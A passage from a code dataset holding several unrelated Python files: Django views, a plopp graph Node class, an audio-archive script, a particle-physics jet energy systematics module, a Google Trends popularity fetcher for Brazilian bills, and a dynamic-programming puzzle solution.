'/Users/Kang/Temp/car_tans.txt'\n from django.shortcuts import render_to_response\n if os.path.exists(meta_file):\n br = open(meta_file, 'r')\n lines = br.readlines()\n br.close()\n os.remove(meta_file)\n return render_to_response('meta_transed.html', {'lines': lines})\n else:\n error = '请先转化!'\n return render_to_response('welcome.html', {'error': error})\n\n\ndef showneed_1_1(request):\n from carDB.models import Test1_One\n test1_1 = Test1_One.objects.all()\n from django.shortcuts import render_to_response\n\n if test1_1:\n empty = '数据库暂无数据'\n return render_to_response('welcome.html', {'empty': empty})\n else:\n dic = dict()\n for item in test1_1:\n dic = {item.car_type: item.point}\n return render_to_response('showneed_1_1.html', {'dic': dic})\n","sub_path":"python/carDataShow/carDataShow/views/welcome.py","file_name":"welcome.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"387992235","text":"class Owner:\n def __init__(self,data):\n self.Name=data[\"Name\"]\n self.FirstName=data[\"FirstName\"]\n self.LastName=data[\"LastName\"]\n self.Email=data[\"Email\"]\n self.HomeAddress=data[\"HomeAddress\"]\n self.DateOfBirth=data[\"DateOfBirth\"]\n self.HomePhone=data[\"HomePhone\"]\n self.SSN=data[\"SSN\"]\n self.PercentageOfOwnership=data[\"PercentageOfOwnership\"]","sub_path":"API/src/model/Owner.py","file_name":"Owner.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585273234","text":"# SPDX-License-Identifier: BSD-3-Clause\n# Copyright (c) 2023 Scipp contributors (https://github.com/scipp)\n\nfrom __future__ import annotations\n\nimport uuid\nimport warnings\nfrom itertools import chain\nfrom typing import Any, Union\n\nfrom .system import VisibleDeprecationWarning\nfrom .view import View\n\n\n# TODO: Remove this in v23.05.0\ndef input_node(obj: Any) -> Node:\n \"\"\"\n Create a simple node that returns the supplied object when data is requested from\n it. This node has no parents, and typically lives at the top of a graph to provide\n the raw input data.\n\n .. deprecated:: v23.04.0\n Use :class:`Node` instead.\n\n Parameters\n ----------\n obj:\n The object to return when data is requested from the node.\n \"\"\"\n warnings.warn(\n \"plopp.input_node has been deprecated \"\n \"and will be removed in Plopp v23.05.0. \"\n \"Use plopp.Node instead.\",\n VisibleDeprecationWarning,\n )\n n = Node(lambda: obj)\n n.name = f'Input <{type(obj).__name__}>'\n return n\n\n\nclass Node:\n \"\"\"\n A node that can have parent and children nodes, to create a graph.\n A node can be constructed from a callable ``func``, or a raw object. In the case\n of a raw object, a node wrapping the object will be created.\n\n Parameters\n ----------\n func:\n The callable that is called when data is requested from the node. This can also\n be a raw object, in which case this becomes a callable that returns the object.\n *parents:\n Positional arguments that represent the positional arguments of the function\n ``func``.\n *kwparents:\n Keyword arguments that represent the keyword arguments of the function ``func``.\n \"\"\"\n\n def __init__(self, func: Any, *parents, **kwparents):\n func_is_callable = callable(func)\n self._input_value = None\n if func_is_callable:\n self.func = func\n else:\n self._input_value = func\n self.func = lambda: func\n self._id = uuid.uuid4().hex\n self.children = []\n self.views = []\n self.parents = [p if isinstance(p, Node) else Node(p) for p in parents]\n self.kwparents = {\n key: p if isinstance(p, Node) else Node(p) for key, p in kwparents.items()\n }\n for parent in chain(self.parents, self.kwparents.values()):\n parent.add_child(self)\n self._data = None\n\n if func_is_callable:\n # Set automatic name from function name and arguments\n args_string = ', '.join(\n chain(\n (f'arg_{i}' for i in range(len(self.parents))),\n self.kwparents.keys(),\n )\n )\n fname = getattr(self.func, \"__name__\", str(self.func))\n self.name = f'{fname}({args_string})'\n else:\n val_str = f'={repr(func)}' if isinstance(func, (int, float, str)) else \"\"\n self.name = f'Input <{type(func).__name__}{val_str}>'\n\n def __call__(self):\n return self.request_data()\n\n @property\n def id(self) -> str:\n \"\"\"\n The unique uuid of the node. This differs from the ``name`` which can be any\n string.\n \"\"\"\n return self._id\n\n @property\n def input_value(self) -> Any:\n \"\"\"\n The input value of the node, if it is an input node.\n \"\"\"\n return self._input_value\n\n @property\n def is_input_node(self) -> bool:\n \"\"\"\n Whether the node is an input node.\n \"\"\"\n return self._input_value is not None\n\n def remove(self):\n \"\"\"\n Remove the node from the graph.\n This attempts to remove clear the list of parents of the node.\n The operation fails is the node has children, as removing it would leave the\n graph in an ill-defined state.\n \"\"\"\n if self.children:\n raise RuntimeError(\n f\"Cannot delete node because it has children {self.children}.\"\n )\n for view in self.views:\n del view.graph_nodes[self.id]\n for parent in chain(self.parents, self.kwparents.values()):\n parent.children.remove(self)\n self.views.clear()\n self.parents.clear()\n self.kwparents.clear()\n\n def request_data(self) -> Any:\n \"\"\"\n Request data from the node. This in turn requests data from all of the node's\n parents, and passes those results as arguments to the node's own ``func``.\n The result from calling the function is cached, to limit the number of times\n the graph is traversed.\n \"\"\"\n if self._data is None:\n args = (parent.request_data() for parent in self.parents)\n kwargs = {\n key: parent.request_data() for key, parent in self.kwparents.items()\n }\n self._data = self.func(*args, **kwargs)\n return self._data\n\n def add_child(self, child: Node):\n \"\"\"\n Add a child to the node.\n \"\"\"\n self.children.append(child)\n\n def add_view(self, view: View):\n \"\"\"\n Add a view to the node.\n \"\"\"\n self.views.append(view)\n view.graph_nodes[self.id] = self\n\n def notify_children(self, message: Any):\n \"\"\"\n Notify all of the node's children with ``message``.\n Receiving a notification also means that the local copy of the data is\n out-of-date, and it is thus reset.\n\n Parameters\n ----------\n message:\n The message to pass to the children.\n \"\"\"\n self._data = None\n self.notify_views(message)\n for child in self.children:\n child.notify_children(message)\n\n def notify_views(self, message: Any):\n \"\"\"\n Notify the node's views with ``message``.\n\n Parameters\n ----------\n message:\n The message to pass to the views.\n \"\"\"\n for view in self.views:\n view.notify_view({\"node_id\": self.id, \"message\": message})\n\n def __repr__(self) -> str:\n return f\"Node(name={self.name})\"\n\n def __add__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x + y, self, other)\n\n def __radd__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x + y, other, self)\n\n def __sub__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x - y, self, other)\n\n def __rsub__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x - y, other, self)\n\n def __mul__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x * y, self, other)\n\n def __rmul__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x * y, other, self)\n\n def __truediv__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x / y, self, other)\n\n def __rtruediv__(self, other: Union[Node, Any]) -> Node:\n return Node(lambda x, y: x / y, other, self)\n","sub_path":"src/plopp/core/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":7013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563940949","text":"\"\"\"\n`Veda audio project`_.\n\n.. _Veda audio project: https://sanskrit.github.io/groups/dyuganga/projects/audio/veda-audio/\n\"\"\"\n\nimport glob\nimport logging\nimport os\n\n# noinspection PyPep8\nimport pprint\n\nfrom audio_curation import audio_repo, archive_utility\n\n# Remove all handlers associated with the root logger object.\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s\"\n)\n\n# URL style:\n# https://aurobindo.ru/workings/matherials/rigveda/01/01-177.mp3\n# wget and urllib.request is blocked.\n\n\nclass VedaRepoBase(audio_repo.BaseAudioRepo):\n metadata = {\n \"title\" : \"kRShNa-yajur-veda taittirIya saMhitA IGNCA\",\n \"description\" : \"\"\"\n यजुर्-वेदः। तैत्तिरीय-संहिता।\n Courtsey : IGNCA and Indian taxpayers.\n Tech details- see https://sanskrit.github.io/groups/dyuganga/projects/audio/veda-audio/index.html\n \"\"\"\n }\n\n archive_id=\"yajurveda-taittirIya-ignca\"\n pass\n\n\ndef update_repos(dry_run=False):\n archive_audio_item = archive_utility.ArchiveAudioItem(archive_id=VedaRepoBase.archive_id, metadata=VedaRepoBase.metadata)\n repo = VedaRepoBase(repo_paths=[os.path.join(\"/home/vvasuki/Music/git-curation/veda-audio\", \"taittirIya_ignca\")], archive_audio_item=archive_audio_item, git_remote_origin_basepath=None)\n logging.info(pprint.pformat(repo.reprocess(dry_run=dry_run)))\n\n\nif __name__ == \"__main__\":\n update_repos(dry_run=False)","sub_path":"audio_curation_projects/veda/ignca/taittirIya.py","file_name":"taittirIya.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"463408622","text":"#!/usr/bin/env python\n\nimport copy\n\nfrom CMGTools.RootTools.RootTools import *\nfrom ROOT import gSystem\ngSystem.Load(\"libCondFormatsJetMETObjects\")\nfrom ROOT import JetCorrectorParameters, JetCorrectionUncertainty\n\nfrom math import *\n\n\n\n\nclass JES:\n\n def __init__(self, filename):\n self.jcp = JetCorrectorParameters(filename, \"\")\n self.jcu = JetCorrectionUncertainty(self.jcp)\n\n def uncertainty(self, pt, eta):\n self.jcu.setJetPt(pt)\n self.jcu.setJetEta(eta)\n return self.jcu.getUncertainty(True);\n \nclass MyEvent:\n def __init__(self):\n return;\n\nclass SystematicVariation:\n def __init__(self, isData):\n filejes = \"txt/Fall12_V7_MC_Uncertainty_AK5PFchs.txt\" \n if isData:\n filejes = \"txt/Fall12_V7_DATA_Uncertainty_AK5PFchs.txt\"\n self.jes = JES(filejes)\n\n def cloneEvent(self, event):\n cloneevent = MyEvent();\n cloneevent.J2Eta = event.J2Eta\n cloneevent.HEEJJcosthetastar = event.HEEJJcosthetastar\n cloneevent.HEEJJDeltaPhiZJ1 = event.HEEJJDeltaPhiZJ1\n cloneevent.ZJJEnergy = event.ZJJEnergy\n cloneevent.E1Mass = event.E1Mass\n cloneevent.VBFJ2Pt = event.VBFJ2Pt\n cloneevent.ZMMMass = event.ZMMMass\n cloneevent.VBFJ2NHFraction = event.VBFJ2NHFraction\n cloneevent.J1ChFraction = event.J1ChFraction\n cloneevent.HEEJJPhi = event.HEEJJPhi\n cloneevent.J2NHFraction = event.J2NHFraction\n cloneevent.E1Charge = event.E1Charge\n cloneevent.HEEJJDeltaPtZ = event.HEEJJDeltaPtZ\n cloneevent.HMMJJPt = event.HMMJJPt\n cloneevent.M1Mass = event.M1Mass\n cloneevent.HEEJJdetaVBF = event.HEEJJdetaVBF\n cloneevent.ZEEPhi = event.ZEEPhi\n cloneevent.VBFJ1NHFraction = event.VBFJ1NHFraction\n cloneevent.M2Phi = event.M2Phi\n cloneevent.M1Eta = event.M1Eta\n cloneevent.M2Charge = event.M2Charge\n cloneevent.E1Pt = event.E1Pt\n cloneevent.VBFJ2btag = event.VBFJ2btag\n cloneevent.VBFJ1EFraction = event.VBFJ1EFraction\n cloneevent.HEEJJdphiVBF = event.HEEJJdphiVBF\n cloneevent.J1Eta = event.J1Eta\n cloneevent.M2Energy = event.M2Energy\n cloneevent.J1Ntrk = event.J1Ntrk\n cloneevent.ZEEMass = event.ZEEMass\n cloneevent.E2Mass = event.E2Mass\n cloneevent.M2Mass = event.M2Mass\n cloneevent.J2btag = event.J2btag\n cloneevent.J1EFraction = event.J1EFraction\n cloneevent.ZMMCharge = event.ZMMCharge\n cloneevent.weight = event.weight\n cloneevent.njets = event.njets\n cloneevent.J2Ntrk = event.J2Ntrk\n cloneevent.J2Phi = event.J2Phi\n cloneevent.isVBFMatched = event.isVBFMatched\n cloneevent.VBFJ1Eta = event.VBFJ1Eta\n cloneevent.J2PFraction = event.J2PFraction\n cloneevent.ZMMPt = event.ZMMPt\n cloneevent.HMMJJDeltaPtZ = event.HMMJJDeltaPtZ\n cloneevent.ZMMEta = event.ZMMEta\n cloneevent.isDecayMatched = event.isDecayMatched\n cloneevent.ZJJEta = event.ZJJEta\n cloneevent.HMMJJClassifier = event.HMMJJClassifier\n cloneevent.ZJJPt = event.ZJJPt\n cloneevent.truezlepmass = event.truezlepmass\n cloneevent.VBFJ2Eta = event.VBFJ2Eta\n cloneevent.VBFJ2Ntrk = event.VBFJ2Ntrk\n cloneevent.HMMJJhelphi = event.HMMJJhelphi\n cloneevent.HEEJJhelcosthetaZl2 = event.HEEJJhelcosthetaZl2\n cloneevent.HEEJJhelcosthetaZl1 = event.HEEJJhelcosthetaZl1\n cloneevent.HMMJJdetaVBF = event.HMMJJdetaVBF\n cloneevent.VBFJ2Phi = event.VBFJ2Phi\n cloneevent.M1Charge = event.M1Charge\n cloneevent.HMMJJcosthetastar = event.HMMJJcosthetastar\n cloneevent.HMMJJMass = event.HMMJJMass\n cloneevent.iszee = event.iszee\n cloneevent.step = event.step\n cloneevent.E1Phi = event.E1Phi\n cloneevent.iszmumu = event.iszmumu\n cloneevent.VBFJ1Pt = event.VBFJ1Pt\n cloneevent.ZEEPt = event.ZEEPt\n cloneevent.VBFJ2ChFraction = event.VBFJ2ChFraction\n cloneevent.HEEJJEnergy = event.HEEJJEnergy\n cloneevent.J1Phi = event.J1Phi\n cloneevent.E2Charge = event.E2Charge\n cloneevent.HEEJJClassifier = event.HEEJJClassifier\n cloneevent.VBFJ2Energy = event.VBFJ2Energy\n cloneevent.J2Mass = event.J2Mass\n cloneevent.VBFJ1Energy = event.VBFJ1Energy\n cloneevent.J1Pt = event.J1Pt\n cloneevent.VBFJ2PFraction = event.VBFJ2PFraction\n cloneevent.HEEJJEta = event.HEEJJEta\n cloneevent.E2Energy = event.E2Energy\n cloneevent.E2Phi = event.E2Phi\n cloneevent.HEEJJphistarZl1 = event.HEEJJphistarZl1\n cloneevent.HEEJJphistarZl2 = event.HEEJJphistarZl2\n cloneevent.E2Pt = event.E2Pt\n cloneevent.HEEJJMass = event.HEEJJMass\n cloneevent.HEEJJmassVBF = event.HEEJJmassVBF\n cloneevent.VBFJ1Ntrk = event.VBFJ1Ntrk\n cloneevent.J2Pt = event.J2Pt\n cloneevent.HMMJJEta = event.HMMJJEta\n cloneevent.J2EFraction = event.J2EFraction\n cloneevent.ZMMPhi = event.ZMMPhi\n cloneevent.ZJJMass = event.ZJJMass\n cloneevent.VBFJ1PFraction = event.VBFJ1PFraction\n cloneevent.HMMJJmassVBF = event.HMMJJmassVBF\n cloneevent.ZMMEnergy = event.ZMMEnergy\n cloneevent.M2Eta = event.M2Eta\n cloneevent.VBFJ2EFraction = event.VBFJ2EFraction\n cloneevent.ZJJCharge = event.ZJJCharge\n cloneevent.HEEJJDeltaPhiZ = event.HEEJJDeltaPhiZ\n cloneevent.HEEJJDeltaPhiZJ2 = event.HEEJJDeltaPhiZJ2\n cloneevent.M1Phi = event.M1Phi\n cloneevent.J2ChFraction = event.J2ChFraction\n cloneevent.VBFJ2Mass = event.VBFJ2Mass\n cloneevent.VBFJ1btag = event.VBFJ1btag\n cloneevent.HMMJJdphiVBF = event.HMMJJdphiVBF\n cloneevent.J1Mass = event.J1Mass\n cloneevent.VBFJ1ChFraction = event.VBFJ1ChFraction\n cloneevent.ZEEEta = event.ZEEEta\n cloneevent.HEEJJPt = event.HEEJJPt\n cloneevent.HMMJJSumAbsEtaJ1J2 = event.HMMJJSumAbsEtaJ1J2\n cloneevent.HMMJJPhi = event.HMMJJPhi\n cloneevent.HEEJJSumAbsEtaJ1J2 = event.HEEJJSumAbsEtaJ1J2\n cloneevent.M1Energy = event.M1Energy\n cloneevent.J2Energy = event.J2Energy\n cloneevent.J1NHFraction = event.J1NHFraction\n cloneevent.J1Energy = event.J1Energy\n cloneevent.HMMJJEnergy = event.HMMJJEnergy\n cloneevent.nvertices = event.nvertices\n cloneevent.HMMJJDeltaPhiZ = event.HMMJJDeltaPhiZ\n cloneevent.M2Pt = event.M2Pt\n cloneevent.J1btag = event.J1btag\n cloneevent.HEEJJhelphiZl2 = event.HEEJJhelphiZl2\n cloneevent.E2Eta = event.E2Eta\n cloneevent.HEEJJhelphiZl1 = event.HEEJJhelphiZl1\n cloneevent.M1Pt = event.M1Pt\n cloneevent.ZEEEnergy = event.ZEEEnergy\n cloneevent.E1Energy = event.E1Energy\n cloneevent.J1PFraction = event.J1PFraction\n cloneevent.HMMJJDeltaPhiZJ2 = event.HMMJJDeltaPhiZJ2\n cloneevent.HMMJJDeltaPhiZJ1 = event.HMMJJDeltaPhiZJ1\n cloneevent.HMMJJphistarZl1 = event.HMMJJphistarZl1\n cloneevent.HMMJJphistarZl2 = event.HMMJJphistarZl2\n cloneevent.HMMJJhelphiZl2 = event.HMMJJhelphiZl2\n cloneevent.ZEECharge = event.ZEECharge\n cloneevent.HMMJJhelphiZl1 = event.HMMJJhelphiZl1\n cloneevent.VBFJ1Mass = event.VBFJ1Mass\n cloneevent.ZJJPhi = event.ZJJPhi\n cloneevent.VBFJ1Phi = event.VBFJ1Phi\n cloneevent.HEEJJhelphi = event.HEEJJhelphi\n cloneevent.HMMJJhelcosthetaZl2 = event.HMMJJhelcosthetaZl2\n cloneevent.HMMJJhelcosthetaZl1 = event.HMMJJhelcosthetaZl1\n #cloneevent.E1Et = event.E1Et\n\n return cloneevent \n\n\n def applyJES(self, event, up):\n cloneevent = self.cloneEvent(event)\n #for branch in event.GetListOfBranches():\n # print branch.GetName()\n #cloneevent.eval(branch.GetName()) = event.eval(branch.GetName())\n #sys.exit(1) \n #print event.ZJJMass\n uncj1 = self.jes.uncertainty(event.J1Pt, event.J1Eta) \n uncj2 = self.jes.uncertainty(event.J2Pt, event.J2Eta) \n uncvbfj1 = self.jes.uncertainty(event.VBFJ1Pt, event.VBFJ1Eta) \n uncvbfj2 = self.jes.uncertainty(event.VBFJ2Pt, event.VBFJ2Eta) \n j1 = [event.J1Pt*cos(event.J1Phi), \n event.J1Pt*sin(event.J1Phi), \n event.J1Pt/tan(2*atan(exp(-1*event.J1Eta))),\n sqrt(event.J1Pt*event.J1Pt*(1+1/(tan(2*atan(exp(-1*event.J1Eta)))*tan(2*atan(exp(-1*event.J1Eta))))))]\n\n j2 = [event.J2Pt*cos(event.J2Phi), \n event.J2Pt*sin(event.J2Phi),\n event.J2Pt/tan(2*atan(exp(-1*event.J2Eta))),\n sqrt(event.J2Pt*event.J2Pt*(1+1/(tan(2*atan(exp(-1*event.J2Eta)))*tan(2*atan(exp(-1*event.J2Eta))))))]\n\n vbfj1 = [event.VBFJ1Pt*cos(event.VBFJ1Phi),\n event.VBFJ1Pt*sin(event.VBFJ1Phi),\n event.VBFJ1Pt/tan(2*atan(exp(-1*event.VBFJ1Eta))),\n sqrt(event.VBFJ1Pt*event.VBFJ1Pt*(1+1/(tan(2*atan(exp(-1*event.VBFJ1Eta)))*tan(2*atan(exp(-1*event.VBFJ1Eta))))))] \n\n vbfj2 = [event.VBFJ2Pt*cos(event.VBFJ2Phi),\n event.VBFJ2Pt*sin(event.VBFJ2Phi),\n event.VBFJ2Pt/tan(2*atan(exp(-1*event.VBFJ2Eta))),\n sqrt(event.VBFJ2Pt*event.VBFJ2Pt*(1+1/(tan(2*atan(exp(-1*event.VBFJ2Eta)))*tan(2*atan(exp(-1*event.VBFJ2Eta))))))]\n\n if up: \n cloneevent.J1Pt = event.J1Pt+uncj1*event.J1Pt\n cloneevent.J2Pt = event.J2Pt+uncj2*event.J2Pt\n cloneevent.VBFJ1Pt = event.VBFJ1Pt+uncvbfj1*event.VBFJ1Pt\n cloneevent.VBFJ2Pt = event.VBFJ2Pt+uncvbfj2*event.VBFJ2Pt\n \n for i in range(4):\n j1[i] = j1[i]+uncj1*j1[i]\n j2[i] = j2[i]+uncj2*j2[i]\n vbfj1[i] = vbfj1[i]+uncvbfj1*vbfj1[i]\n vbfj2[i] = vbfj2[i]+uncvbfj2*vbfj2[i] \n\n else:\n cloneevent.J1Pt = event.J1Pt-uncj1*event.J1Pt\n cloneevent.J2Pt = event.J2Pt-uncj2*event.J2Pt\n cloneevent.VBFJ1Pt = event.VBFJ1Pt-uncvbfj1*event.VBFJ1Pt\n cloneevent.VBFJ2Pt = event.VBFJ2Pt-uncvbfj2*event.VBFJ2Pt \n\n for i in range(4):\n j1[i] = j1[i]-uncj1*j1[i]\n j2[i] = j2[i]-uncj2*j2[i]\n vbfj1[i] = vbfj1[i]-uncvbfj1*vbfj1[i]\n vbfj2[i] = vbfj2[i]-uncvbfj2*vbfj2[i]\n\n jsum = [j1[0]+j2[0], j1[1]+j2[1], j1[2]+j2[2], j1[3]+j2[3]]\n vbfjsum = [vbfj1[0]+vbfj2[0], vbfj1[1]+vbfj2[1], vbfj1[2]+vbfj2[2], vbfj1[3]+vbfj2[3]]\n modmass = sqrt(max(jsum[3]*jsum[3] - jsum[0]*jsum[0] - jsum[1]*jsum[1] - jsum[2]*jsum[2], 0.) )\n modmassvbf = sqrt(max(vbfjsum[3]*vbfjsum[3] - vbfjsum[0]*vbfjsum[0] - vbfjsum[1]*vbfjsum[1] - vbfjsum[2]*vbfjsum[2], 0.) )\n #print \"orig mass\", event.ZJJMass, \"modmass\", modmass\n cloneevent.ZJJMass = modmass\n cloneevent.VBFMass = modmassvbf\n\n #print event.ZMMMass\n\n return cloneevent\n\n\n#if __name__==\"__main__\":\n# sv=SystematicVariation(False) \n# print \"JES test (40, 0)\", sv.getJES(40., 0.)\n# print \"JES test (40, 1)\", sv.getJES(40., 1.)\n# print \"JES test (40, 2)\", sv.getJES(40., 2.)\n# print \"JES test (40, 3)\", sv.getJES(40., 3.)\n# print \"JES test (40, 4)\", sv.getJES(40., 4.)\n# print \"JES test (40, 4.7)\", sv.getJES(40., 4.7)\n# print \"JES test (40, 5)\", sv.getJES(40., 5.)\n \n \n","sub_path":"PyHLLJJHighMass/systematics.py","file_name":"systematics.py","file_ext":"py","file_size_in_byte":10451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"568930482","text":"from app1.models import *\nfrom app1.util.utils import *\n\ndef updateAdvance(request):\n '''\n get:\n http://127.0.0.1:8000/app1/updateAdvance?ano=007&starttime=8:30&endtime=11:30&week=星期一\n 调用参数:\n ano:预排课表编号\n starttime:课程开始时间\n endtime:课程结束时间\n week:星期\n post:\n http://127.0.0.1:8000/app1/updateAdvance\n '''\n try:\n if(request.method=='POST'):\n teadata=json.loads(request.body)\n data=teadata[\"data\"]\n for item in data:\n # aid=request.GET.get(\"ano\")\n # st=request.GET.get(\"starttime\")\n # en=request.GET.get(\"endtime\")\n # we=request.GET.get(\"week\")\n\n aid=item[\"ano\"]\n st=item[\"starttime\"]\n en=item[\"endtime\"]\n we=item[\"week\"]\n\n result=Advance.objects.filter(ano=aid).update(starttime=st,endtime=en,week=we)\n\n result=Advance.objects.all().values(\"starttime\",\"endtime\",\"week\",\"teacher__tno\",\"teacher__tname\",\"classroom__crno\",\"course__cno\",\"course__cname\")\n return showJsonresult(result)\n except Exception as e:\n response={}\n response['msg']=str(e)\n response['err_num']=1\n return showJsonerror(response)","sub_path":"day12/Django/app1/dateview/updateAdvance.py","file_name":"updateAdvance.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"549610357","text":"# -*- coding: utf-8 -*- \n\nimport pandas as pd\nfrom pytrends.request import TrendReq\nfrom datetime import date, datetime\nfrom datetime import timedelta\nfrom unidecode import unidecode\nimport sys\n\ndef print_usage():\n '''\n Função que printa a chamada correta em caso de o usuário passar o número errado\n de argumentos\n '''\n\n print ('Chamada Correta: python fetch_google_trends.py ')\n\ndef get_data_inicial(apresentacao):\n '''\n Caso a apresentação tenha sido feita em menos de 6 meses retorna a data da apre\n sentação, caso contrário, retorna a data de 6 meses atrás\n '''\n \n seis_meses_atras = date.today() - timedelta(days=180)\n if datetime.strptime(apresentacao,'%Y-%m-%d').date() > seis_meses_atras:\n return apresentacao\n else:\n return seis_meses_atras.strftime('%Y-%m-%d')\n\ndef formata_timeframe(passado_formatado):\n '''\n Formata o timeframe para o formato aceitável pelo pytrends\n '''\n\n return passado_formatado + ' ' + date.today().strftime('%Y-%m-%d')\n\ndef get_trends(termo, timeframe):\n '''\n Retorna os trends\n '''\n\n pytrend.build_payload(termo, cat=0, timeframe=timeframe, geo='BR', gprop='')\n \ndef get_popularidade(termo, timeframe):\n '''\n Retorna a popularidade de termos passados em um intervalo de tempo\n (timeframe)\n '''\n\n get_trends(termo, timeframe)\n\n return pytrend.interest_over_time()\n\ndef get_termos_relacionados(termo, timeframe):\n '''\n Retorna os termos relacionados a um termo passado\n em um período de tempo especificado\n '''\n\n get_trends(termo, timeframe)\n related_queries_dict = pytrend.related_queries()\n if (len(related_queries_dict) == 0):\n return pd.DataFrame()\n\n related_queries_df = pd.DataFrame.from_dict(related_queries_dict[termo[0]]['top'])[:3]\n\n return related_queries_df\n\ndef get_termos_mais_populares(nome_formal, apelido, timeframe):\n '''\n De acordo com os termos relacionados ao nome formal da proposição e a seu apelido\n retorna os 3 termos mais popularidades \n '''\n\n termos_relacionados_formal = get_termos_relacionados([nome_formal], timeframe)\n termos_relacionados_apelido = get_termos_relacionados([apelido], timeframe)\n termos_relacionados_total = termos_relacionados_formal.append(termos_relacionados_apelido)\n termos_relacionados_total = termos_relacionados_total.drop_duplicates(subset =\"query\")\n if (len(termos_relacionados_total) > 0):\n termos_relacionados_total = termos_relacionados_total.sort_values(by=['value'], ascending=False)[:3]['query']\n\n return termos_relacionados_total.values.tolist()\n\ndef calcula_maximos(pop_df, apelido, nome_formal):\n '''\n Calcula o máximo da pressão entre o apelido e o nome formal,\n entre os termos relacionados e a pressão geral\n '''\n\n termos = pop_df\n termos['max_pressao_principal'] = termos[[apelido,nome_formal]].max(axis=1)\n cols_termos_relacionados = termos.columns[~termos.columns.isin([apelido, nome_formal, 'date', 'max_pressao_principal', 'isPartial'])]\n termos['max_pressao_rel'] = termos[cols_termos_relacionados].max(axis=1) if (len(cols_termos_relacionados) > 0) else 0\n termos['maximo_geral'] = termos[['max_pressao_rel','max_pressao_principal']].max(axis=1)\n\n return termos\n\ndef agrupa_por_semana(pop_df):\n '''\n Agrupa por semana começando na segunda e calcula os máximos das colunas\n '''\n\n pop_df = pop_df.reset_index()\n pop_df = pop_df.groupby(['id_ext', pd.Grouper(key='date', freq='W-MON'), 'casa']).agg('max')\n pop_df = pop_df.reset_index()\n pop_df['date'] = pd.to_datetime(pop_df['date']) - pd.to_timedelta(7, unit = 'd')\n\n return pop_df\n\ndef write_csv_popularidade(df_path, export_path):\n '''\n Para cada linha do csv calcula e escreve um csv com a popularidade da proposição\n '''\n\n props_sem_popularidade = 0\n apelidos = pd.read_csv(df_path, encoding='utf-8')\n for index, row in apelidos.iterrows():\n timeframe = formata_timeframe(get_data_inicial(row['apresentacao']))\n apelido = row['apelido'].replace('(', '').replace(')', '')\n nome_formal = row['nome_formal']\n id_ext = str(row['id_ext'])\n casa = row['casa']\n\n print('Pesquisando a popularidade: ' + apelido)\n\n termos_relacionados = [nome_formal, apelido] + get_termos_mais_populares(nome_formal, apelido, timeframe)\n termos = [unidecode(termo_rel) for termo_rel in termos_relacionados]\n termos = set(termos)\n pop_df = get_popularidade(list(termos), timeframe)\n\n if (pop_df.empty):\n props_sem_popularidade += 1\n\n print ('O Google nao retornou nenhum dado sobre: ' + apelido)\n else:\n pop_df = calcula_maximos(pop_df, apelido, nome_formal)\n pop_df['id_ext'] = id_ext\n pop_df['casa'] = casa\n pop_df = agrupa_por_semana(pop_df)\n pop_df.to_csv(export_path + 'pop_' + id_ext + '.csv', encoding='utf8')\n if (props_sem_popularidade > 0):\n print('Não foi possível retornar a popularidade de ' + str(props_sem_popularidade) + '/' + str(len(apelidos)) + ' proposições.')\n\nif __name__ == \"__main__\":\n # Argumentos que o programa deve receber:\n # -1º: Path para o arquivo onde estão os apelidos, nomes formais e datas de apresentações\n # -2º: Path para a pasta onde as tabelas de popularidades devem ser salvas\n\n if len(sys.argv) != 3:\n print_usage()\n exit(1)\n\n df_path = sys.argv[1]\n export_path = sys.argv[2]\n\n pytrend = TrendReq()\n\n\n write_csv_popularidade(df_path, export_path)\n\n","sub_path":"fetch_google_trends.py","file_name":"fetch_google_trends.py","file_ext":"py","file_size_in_byte":5630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192779440","text":"# https://programmers.co.kr/learn/courses/30/lessons/12971\r\n\"\"\"\r\ndp[i] = max(sticker[i]+dp[i-2],sticker[i]+dp[i-3],dp[i-1])\r\n(0,1,2) 중 하나는 반드시 고르니까 세가지 케이스 확인하기\r\n\"\"\"\r\n\r\ndef solution(sticker):\r\n if len(sticker) <= 3: return max(sticker)\r\n dp1 = [0] * len(sticker)\r\n dp1[2] = sticker[2]\r\n dp2 = [0] * len(sticker)\r\n dp2[1] = dp2[2] = sticker[1]\r\n dp3 = [0] * len(sticker)\r\n dp3[0] = dp3[1] = dp3[2] = sticker[0]\r\n dp3[2] += sticker[2]\r\n for i in range(3,len(dp1)):\r\n dp1[i] = max(sticker[i]+dp1[i-2], sticker[i]+dp1[i-3], dp1[i-1])\r\n dp2[i] = max(sticker[i]+dp2[i-2], sticker[i]+dp2[i-3], dp2[i-1])\r\n dp3[i] = max(sticker[i]+dp3[i-2], sticker[i]+dp3[i-3], dp3[i-1])\r\n dp3[-1] = max(dp3[i-1],dp3[i-2],dp3[i-3])\r\n print(dp1)\r\n print(dp2)\r\n print(dp3)\r\n return max(dp1[-1],dp2[-1],dp3[-1])\r\n\r\n \r\nprint(solution([14,6,5,11,3,9,2,10]))\r\n","sub_path":"Level 4/스티커 모으기(2).py","file_name":"스티커 